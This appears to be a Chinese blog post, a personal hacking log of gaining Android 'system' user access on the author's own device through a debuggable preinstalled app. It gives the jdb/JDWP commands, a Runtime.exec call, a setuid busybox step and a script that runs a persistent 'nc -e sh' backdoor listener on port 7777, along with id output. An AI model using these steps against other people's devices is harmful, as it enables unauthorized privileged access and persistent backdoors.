Android Hack進行時: 取得了"system"用戶,還需繼續努力升格爲root用戶

Android 5.1.1, Linux 3.10.49java

發現了一個原裝的系統應用,竟然能夠被調試,反正出如今Android Studio的可調式進程清單裏,看來是DEBUG版本就那樣稀裏糊塗的燒到主板裏了。 先查查看用戶身份:android

pm dump com.example.app

裏面可以看到用戶身份是"system"。 原本一個run-as就能夠轉換成這個身份了的,shell

run-as com.example.app

可是報錯說沒有這個package,緣由不明。好幾個能夠調試的app裏,有的可以run-as,有的不行。app

那就轉向jdb的路子:tcp

$ adb forward tcp:18600 jdwp:那個系統app的pid
$ jdb  -attach localhost:18600
> threads
group system:
  (java.lang.Thread)0x2a86 Signal Catcher        ...
  (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ...
  ... 
group main:
  (java.lang.Thread)0x2a8d main                   ...
  (java.lang.Thread)0x2a8e Binder_1               ...
  ...
> thread 0x2a8d
main[1] stepi
>  /*執行到這裏後,打開手機動一下那個app觸發調試器*/
stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22
   /*而後再輸入print new...命令運行一個腳本以便啓動一個shell server偵聽7777端口*/
main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")

只是有幾個/sdcard/...文件得事先傳到手機上。 /sdcard/qj.sh:ui

date > /sdcard/log
cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1
chmod 4777 /data/busybox 2>> /sdcard/log || exit 1
(while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 &
echo server OK >> /sdcard/log

/sdcard/busybox:.net

[從這裏下載](http://busybox.net/downloads/binaries/latest), 通常選armv7就好了。

而後用nc連上7777端口就能夠連上後門shell server,輸入任何命令都會以system身份之行。調試

adb forward tcp:7777 tcp:7777
nc localhost 7777

但是搞到手後發現離root還差一點,不可以改寫/system下的東西,也不能mount。可以改/data下的東西,也頗有用,看看後面能不能找到方法升級成root。code

id命令的結果:server

uid=1000(system)
gid=1000(system)
groups=1000(system)
1007(log)
1010(wifi)
1015(sdcard_rw)
1021(gps)
1023(media_rw)
1028(sdcard_r)
3001(net_bt_admin)
3002(net_bt)
3003(inet)
3004(net_raw)
3005(net_admin)
3006(net_bw_stats)
3009(qcom_diag)
9997(everybody)
41000(u0_a31000)
context=u:r:system_app:s0
相關文章
相關標籤/搜索